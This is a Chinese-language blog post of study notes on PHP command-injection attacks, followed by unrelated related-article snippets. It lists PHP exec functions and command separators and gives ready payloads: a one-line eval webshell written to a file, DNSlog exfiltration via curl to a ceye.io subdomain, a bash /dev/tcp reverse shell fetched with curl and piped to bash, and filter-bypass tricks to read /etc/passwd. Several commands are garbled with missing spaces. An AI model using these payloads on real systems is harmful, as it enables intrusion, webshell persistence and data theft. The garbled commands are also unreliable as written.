PHP 命令执行漏洞学习记录

PHP 命令执行

命令函数

作用

例子

system()

执行外部程序,并且显示输出

system('whoami')

exec()

执行一个外部程序

echo exec('whoami');

shell_exec()

通过shell环境执行命令,并且将完整的输出以字符串的形式返回

echo shell_exec('whoami');

passthru()

执行外部程序并且显示数据原始输出

passthru('whoami');

pcntl_exec()

在当前进程空间执行指定程序 不能在非unix平台

pcntl_exec("/bin/cat",array("/etc/passwd));

popen()

打开进程文件指针

$a=popen("bin/cat,/etc/passwd","r");$b=fread($a,2096);echo $b;pclose($a);

proc_open()

执行一个命令,并打开一个io文件指针.类似popen(),但更复杂.

ob_start()

打开内部缓冲 输出内部缓存ob_end_flush()

<?php ob_start("system"); echo "whoami"; ob_end_flush();?>

反引号``

echo `whoami`

命令执行常用命令

命令目的

linux

windows

当前用户名

whoami

whoami

操作系统

uname -a

ver

网络配置

ifconfig

ipconfig /all

网络连接

netstat -an

netstat -an

运行进程

ps -ef

tesklist

命令分隔符号linux ;可以用 |或 ||代替

;前面的执行完执行后面的

|是管道符,显示后面的执行结果

||当前面的执行出差时执行后面的

可以用**%0a和\n**换行执行命令

windows 不能用;可以用&,&&,|,||代替

&前面的语句为假则直接执行后面的

&&前面的语句为假则直接出错,后面的也不执行

|直接执行后面的语句

||前面的出错执行后面的

常用命令执行函数解析

1.system

system('whoami')
php会操纵计算机执行whoami的命令,且输出返回结果
目标:机器如果是linux执行的是bash命令|如果是windows执行的是cmd命令.
echp"<?php @eval($_REQUEST[8]);?>">1.php
tisp:echo"输入内容">1.php是指把内容写入1.php尖括号对于echo来说是关键词,所以用双引号括起来
得到的结果:
成功写入文件,但是写入的文件有""包围了起来那么是不是就代表是字符串不能用了
这里是<?php?>内的被""包围才会有影响所以说外面的双引号并不会影响到正常执行

2.echo exec

只会执行,如果有输出 显示结果的最后一行内容

3.echo shell_exec

只会执行,如果有输出 显示获得的所有数据

4.``[反引号]

shell_exec 特殊写法 禁用shell_exec就不可使用shell_exec

5.passthru

执行命令返回结果且输出跟system没有什么区别

6.popen(要执行的命令,参数) //r是只读 w是写入

$a =popen('whoami','r');
echofread($a,1024);
这个指的返回值比较特殊,返回的是一个文件指针,需要用fread去读取返回值长度 第二个指定输出多少个字符.

命令执行无回显利用技巧

1.延时

可以使用注入的命令来触发时间延迟,从而根据应用程序相应来确认命令是否执行
windows:echo1&ping-n10127.0.0.1&echo2
会ping检测10次产生延时

2.重定向输出

我们可以将注入命令的输出重定向到web根目录下的文件当中,然后使用浏览器进行检索.如果他会在localhost提供静态资源
绝对路径
cmd >file 输出重定向到file文件
cmd>file 输出追加到file中,无则创建
windows whoami >F:/PHPSTUDY/WWW/phpstudent/lynn.txt
可以将我们的命令执行后的结果输出到指定目录文件当中

3.DNSlog外带linux

利用域名解析请求,dnslog.cn
例如8qcijo.dnslog.cn那么因为dnslog使用了泛解析会将所有只要有8qcijo.dnslog.cn的xxx.8qcijo.dnslog.cn
curl`cat<flag.php|base64`.awa4xw.ceye.io

4.反弹shell

1.首先在服务器用nc监听端口
nc-lvp4444
2.如何在服务器上开启web访问(8000端口),写入一个文件(1.txt)内容如
bash-i&/dev/tcp/x.x.x.x/44440>&1
3.执行payload
?cmd=curl x.x.x.x:8000/1.txt|bash

python一行代码实现简易http服务器
python-m SimpleHTTPServer

命令执行定位文件

dir /s/b "文件内容"文件名称

图片

findstr /s "文件内容"文件名称

图片

命令执行绕过

1.拼接 linux

a=ca;b=t;c=1;$a$b $c.txt
设置变量
a=ca b=t c=1拼接执行 约等于cat 1.txt

2.base64编码linux

`echo "Y2F0IDEudHh0"|base64 -d`

echo"Y2F0IDEudHh0"|base64-d|bash
先将这串字符串base64解码然后bash执行命令

3.单引号,双引号linux

ca""t1''.txt
在linux里面单双引号不会影响命令执行

4.反斜杠 linux

c\at 1.t\xt
同上一样的效果

5.可变扩展绕过linux

test=/ehhh/hmtc/pahhh/hmsswd
cat ${test//hhh\/hm} == /etc/passwd
cat ${test//hh??hm/} == /etc/passwd

6.用通配符绕过windows

powershell C:\*\*2\n??e*d.*?|notepad

7.shell特殊变量

ca$@t 1$1.txt==cat 1.txt
c@$a$@t@$ 1$1.@$t@$x@$t

长度限制绕过

通过构造文件来绕过
linux下可以用
1>a 创建文件名为a的空文件
ls-t>test 则会将目录按时间排序后写进test文件中
sh可以从一个文件中读取命令来执行 例如一个文件里面写了 echo1那么着急sh文件名 即可输出1

空格绕过

1.cat</etc/passwd利用<指定命令可不使用空格

2.{cat,/etc/passwd}利用{}包裹代码用,当作分隔符去查看

3.cat$IFS/etc/passwd利用$IFS代替空格

4.echo${IFS}"RCE"${IFS}&&cat${IFS}/etc/passwd利用${IFS}当作空格使用&&(连接符)

windows平台

ping%CommonProgramFiles:~10,-18%IP地址|利用%CommonProgramFiles:~10,-18%

ping%PROGRAMFILES:~10,-5%IP地址|利用%PROGRAMFILES:~10,-5%

引号逃逸

当而已命令背括在引号内时,可以用\转义引号逃逸

不带反斜杠和斜杠的命令执行

echo ${HOME:0:1}|${HOME:0:1}代替/
例如:
cat ${HOME:0:1}etc${HOME:0:1}passwd

echo.|tr '!-0''"-1'=/
例如:
cat$(echo.|tr '!-0''"-1')etc$(echo.|tr '!-0''"-1')passwd

命令执行waf绕过

windows

1.符号于命令的关系

"和^还有成对的圆括号()符号并不会影响命令执行,在windows环境下,命令不会区分大小写

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/pingmian/63237.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

VSCode GDB远程嵌入开发板调试

VSCode GDB远程嵌入式开发板调试 一、原理 嵌入式系统中一般在 PC端运行 gdb工具&#xff0c;源码也是在 PC端&#xff0c;源码对应的可执行文件放到开发板中运行。为此我们需要在开发板中运行 gdbserver&#xff0c;通过网络与 PC端的 gdb进行通信。因此要想在 PC上通过 gdb…

【机器学习】机器学习的基本分类-无监督学习(Unsupervised Learning)

无监督学习&#xff08;Unsupervised Learning&#xff09; 无监督学习是一种机器学习方法&#xff0c;主要用于没有标签的数据集。其目标是从数据中挖掘出潜在的结构和模式。常见的无监督学习任务包括 聚类、降维、密度估计 和 异常检测。 1. 无监督学习的核心目标 1.1 聚类…

【Python]深入Python日志管理:从logging到分布式日志追踪的完整指南

《Python OpenCV从菜鸟到高手》带你进入图像处理与计算机视觉的大门! 日志是软件开发中的核心部分,尤其在分布式系统中,日志对于调试和问题定位至关重要。本篇文章将从Python标准库的logging模块出发,逐步探讨日志管理的最佳实践,涵盖日志配置、日志分层、日志格式化等基…

专业140+总分420+上海交通大学819考研经验上交电子信息与通信工程,真题,大纲,参考书。博睿泽信息通信考研论坛,信息通信考研Jenny

考研结束&#xff0c;专业819信号系统与信号处理140&#xff0c;总分420&#xff0c;终于梦圆交大&#xff0c;高考时敢都不敢想目标&#xff0c;现在已经成为现实&#xff0c;考研后劲很大&#xff0c;这一年的复习经历&#xff0c;还是历历在目&#xff0c;整理一下&#xff…

【NLP修炼系列之Bert】Bert多分类多标签文本分类实战(附源码下载)

引言 今天我们就要用Bert做项目实战&#xff0c;实现文本多分类任务和我在实际公司业务中的多标签文本分类任务。通过本篇文章&#xff0c;可以让想实际入手Bert的NLP学习者迅速上手Bert实战项目。 1 项目介绍 本文是Bert文本多分类和多标签文本分类实战&#xff0c;其中多分…

[Redis#17] 主从复制 | 拓扑结构 | 复制原理 | 数据同步 | psync

目录 主从模式 主从复制作用 建立主从复制 主节点信息 从节点信息 断开主从复制关系 主从拓扑结构 主从复制原理 1. 复制过程 2. 数据同步&#xff08;PSYNC&#xff09; 3. 三种复制方式 一、全量复制 二、部分复制 三、实时复制 四、主从复制模式存在的问题 在…

【青牛科技】拥有两个独立的、高增益、内部相位补偿的双运算放大器,可适用于单电源或双电源工作——D4558

概述&#xff1a; D4558内部包括有两个独立的、高增益、内部相位补偿的双运算放大器&#xff0c;可适用于单电源或双电源工作。该电路具有电压增益高、噪声低等特点。主要应用于音频信号放大&#xff0c;有源滤波器等场合。 D4558采用DIP8、SOP8的封装形式 主要特点&#xff…

泰坦军团品牌焕新:LOGO变更开启电竞细分市场新篇章

深圳世纪创新显示电子有限公司旗下的高端电竞显示器品牌泰坦军团&#xff0c;上月发布通告&#xff0c;自2024年6月起已陆续进行品牌升级和LOGO变更。 泰坦军团自2015年成立以来&#xff0c;凭借先进的技术和顶级的工业设计&#xff0c;已成为众多年轻人首选的游戏显示器品牌&…

HALCON 算子 之 阈值分割算子

文章目录 什么是阈值分割&#xff1f;为什么要阈值分割&#xff1f;如何进行阈值分割&#xff1f;全局threshold —— 全局固定阈值分割auto_threshold —— 全局自动阈值分割fast_threshold —— 快速全局阈值分割watersheds_threshold —— 分水岭盆地阈值分割 局部dyn_thres…

【代码随想录|贪心算法重叠区间问题】

452.用最少数量的箭引爆气球 题目链接452. 用最少数量的箭引爆气球 - 力扣&#xff08;LeetCode&#xff09; 这道题是要求从下往上穿箭&#xff0c;把所有气球扎爆要的最少箭的数量 思路就是我们比较这个气球和上一个气球有没有重合的&#xff0c;重合我们一根箭一起就射了…

鸿蒙获取 APP 信息及手机信息

前言&#xff1a;获取 APP 版本信息可以通过 bundleManager.getBundleInfoForSelfSync(bundleFlags) 去获取&#xff0c;获取手机信息可以通过 kit.BasicServicesKit 库去获取&#xff0c;以下是封装好的工具类。 import bundleManager from ohos.bundle.bundleManager; impo…

爬取的数据能实时更新吗?

在当今数字化时代&#xff0c;实时数据更新对于企业和个人都至关重要。无论是市场分析、商品类目监控还是其他需要实时数据的应用场景&#xff0c;爬虫技术都能提供有效的解决方案。本文将探讨如何利用PHP爬虫实现数据的实时更新&#xff0c;并提供相应的代码示例。 1. 实时数…

JS中多方式数组复制知识扩展

JS中多方式数组复制知识扩展 前言浅拷贝JavaScript 展开操作符for() 循环其他&#xff1a; array.forEachforEach方法详解 array.mapmap()方法详解 array.filterfilter()方法详解 array.reducereduce()方法详解 array.sliceslice()方法详解 Array.fromArray.from()方法详解 深拷…

Hive 中 Order By、Sort By、Cluster By 和 Distribute By 的详细解析

Hive 中 Order By、Sort By、Cluster By 和 Distribute By 的详细解析 在 Hive 数据查询与处理操作中&#xff0c;Order By、Sort By、Cluster By 和 Distribute By 这些语句对于数据的排序、分区以及在 Reduce 阶段的处理起着关键作用。本文将详细解析它们各自的语法、区别以…

okHttp的tcp连接池的复用

okhttp的连接池是tcp连接池吧&#xff0c;是两台机器之间的连接&#xff0c;ip:port连接&#xff0c;然后具体的接口再添加具体的url吗&#xff1f; 具体的 HTTP 请求&#xff08;包括 URL、请求方法、头部等&#xff09;则是在复用的 TCP 连接上进行传输的。 是的&#xff0c…

Linux 正确关机方式详解

在Linux系统中&#xff0c;正确地关机是一个重要的操作&#xff0c;它不仅影响到系统的数据完整性&#xff0c;还可能影响到其他用户的工作。本文将详细介绍Linux系统中的各种关机方式&#xff0c;包括它们的使用场景和具体命令。 为什么需要正确关机 在DOS和Windows系统中&a…

在商业智能BI系统中,如何配置高级感的数据可视化折线图?

在数据可视化的世界里&#xff0c;折线图作为一种直观且有效的数据展示方式&#xff0c;被广泛应用于各类数据分析与报告中。折线图不仅能够清晰地展示数据随时间或其他连续变量的变化趋势&#xff0c;还能通过不同的样式配置&#xff0c;增强图表的可读性和美观度。在JVS-智能…

容器镜像仓库

文章目录 1、docker hub1_注册2_登录3_创建容器镜像仓库4_在本地登录Docker Hub5_上传容器镜像6_下载容器镜像 2、harbor1_获取 docker compose二进制文件2_获取harbor安装文件3_获取TLS文件4_修改配置文件5_执行预备脚本6_执行安装脚本7_验证运行情况8_访问harborUI界面9_harb…

网站打开速度测试工具:互联网优化的得力助手

在信息飞速流转的互联网时代&#xff0c;网站如同企业与用户对话的窗口&#xff0c;其打开速度直接关乎用户体验&#xff0c;乃至业务的成败。所幸&#xff0c;一系列专业的网站打开速度测试工具应运而生&#xff0c;它们宛如幕后的技术侦探&#xff0c;精准剖析网站性能&#…

liunx docker 部署 nacos seata sentinel

部署nacos 1.按要求创建好数据库 2.创建docker 容器 docker run -d --name nacos-server -p 8848:8848 -e MODEstandalone -e SPRING_DATASOURCE_PLATFORMmysql -e MYSQL_SERVICE_HOST172.17.251.166 -e MYSQL_SERVICE_DB_NAMEry-config -e MYSQL_SERVICE_PORT3306 -e MYSQL…